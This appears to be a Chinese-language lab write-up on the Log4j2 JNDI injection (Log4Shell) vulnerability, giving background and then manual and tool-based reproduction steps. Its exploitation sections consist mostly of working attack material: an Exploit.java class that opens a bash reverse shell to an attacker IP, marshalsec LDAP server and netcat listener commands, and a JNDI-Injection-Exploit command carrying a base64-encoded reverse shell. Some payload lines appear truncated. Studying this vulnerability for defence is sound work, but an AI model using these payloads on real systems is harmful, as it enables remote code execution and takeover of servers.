一、log4j2
log4j2 是全球使用广泛的 java 日志框架,同时该漏洞还影响很多全球使用量的 Top 序列的通用开源组件。
二、背景
------ 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
------ 2021 年 12 月 9 日,国内多家机构监测到 Apache Log4j2 存在任意代码执行漏洞,并紧急通报相关情况。由于 Apache Log4j 存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。鉴于 Apache Log4j 本身涉及多种应用组件,将此漏洞威胁等级调整为:严重。
三、影响版本
Log4j2.x<=2.14.1
四、漏洞原理
构造的 payload 是这样的:
${jndi:
------ 该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
------ Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
五、LDAP 和 JNDI 是什么
------ LDAP 全称是 Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP 可以理解是一个简单存储数据的数据库。
------ LDAP 有一个客户端和服务器端,server 端是用来存放资源,client 端主要用于查询等操作。服务端都是由各大厂商的产品的比如 Microsoft 的 AD,当然可以自己做。客户端通过 LDAP 协议去访问服务器端。
------ JNDI (JAVA NAMING AND Directory interface,Java 命名和目录接口),则是 Java 中用于访问 LDAP 的 API,是为了 Java 程序访问命名服务和目录服务而提供的统一 API。
------ 所以上述的 payload ${jndi: 访问 ldap 协议的服务。
六、漏洞手工复现
1、利用 DNSlog 来测试漏洞是否存在
在 DNSlog 上获取一个域名:dfkemb.dnslog.cn
在 burp 构造 payload 重新发送
${jndi: dfkemb.dnslog.cn:1389/Exp}
加入返回包回显 400,那就说明 payload 被过滤,这时候就可以把 payload 进行 URL 编码再发送。
返回 DNSlog 查看
这样就说明存在漏洞
2、加载恶意文件 Exploit.java,将其编译成 class 文件
利用到 javac 来进行编译,但这对 Java 版本有要求,Java 版本适用 的 jdk 版本:JDK 11.0.1、8u191、7u201、6u211 之前
下面是 Exploit.java 的内容
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.188.177/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用 javac 编译:javac Exploit.java
编译后就生产一个 Exploit.class 文件
3、开启 web 服务
python3 -m http.server 80
4、在恶意文件 Exploit.class 所在的目录开启 LDAP 服务
利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.188.177/#Exploit" 9999
这一步相当于把攻击机变成服务器,让目标服务器作为客户端来访问我的攻击机。
5、监听反弹 shell 的端口
nc -lvnp 1234
6、返回前端,让受害者访问 ldap 的端口
最后再回到监听窗口查看:
这里就成功反弹 shell 了。
7、要点总结
- 上面第 2、3、4、5 步都是在攻击者端操作,只有第 6 步是在普通前端操作。
- 上面一共开启了 3 个端口,分别是 80、1234、9999。这分别对应的是:web 服务、接收反弹 shell 的、ldap 服务。
七、漏洞工具复现
1、使用工具:JNDIExploit-1.2-SNAPSHOT.jar
-i是攻击机所在的IP,-l是LDAP服务开启的端口,-p是web服务开启的端口,-u是攻击后payload的使用方式。
**
POC:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1389 -p 8888 -i 192.168.188.177
利用-u 来查看使用的 payload
选一条 payload 在前端来发送请求
这里选了 这一条
2、使用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
POC:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.188.177”
其中:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx 是 bash -i >& /dev/tcp/192.168.188.177/2888 0>&1 的反弹 shell 命令的 base64 编码
上面的 POC 就是让受害者访问 192.168.188.177:1389 这个开启了 LDAP 服务的攻击端,然后就反弹 shell 到 192.168.188.177:2888 这个地址和端口。
如下图
这图受害者要访问的 POC 是:
八、总结
------ Log4j2 漏洞总的来说就是:因为 Log4j2 默认支持解析 ldap/rmi 协议(只要打印的日志中包括 ldap/rmi 协议即可),并会通过名称从 ldap 服务端其获取对应的 Class 文件,并使用 ClassLoader 在本地加载 Ldap 服务端返回的 Class 类。
------ Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
------ 利用 jndi 访问 ldap 服务后,ldap 服务返回了 class 攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了 Log4j2 可以对日志中的“${}”进行解析执行,来进行攻击的。
------ 简单来说就是 Java 中存在 jndi 这个接口用来访问 ldap 服务,因为 Log4j2 默认支持解析 ldap/rmi 协议,普通服务器访问 ldap 服务会直接解析服务中的 class 文件,而无需过滤。攻击者就利用这一点,在 class 文件中写入恶意代码,当普通服务器访问 ldap 服务时就会解析了存在恶意代码的 class 文件并且执行,从而被攻击。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于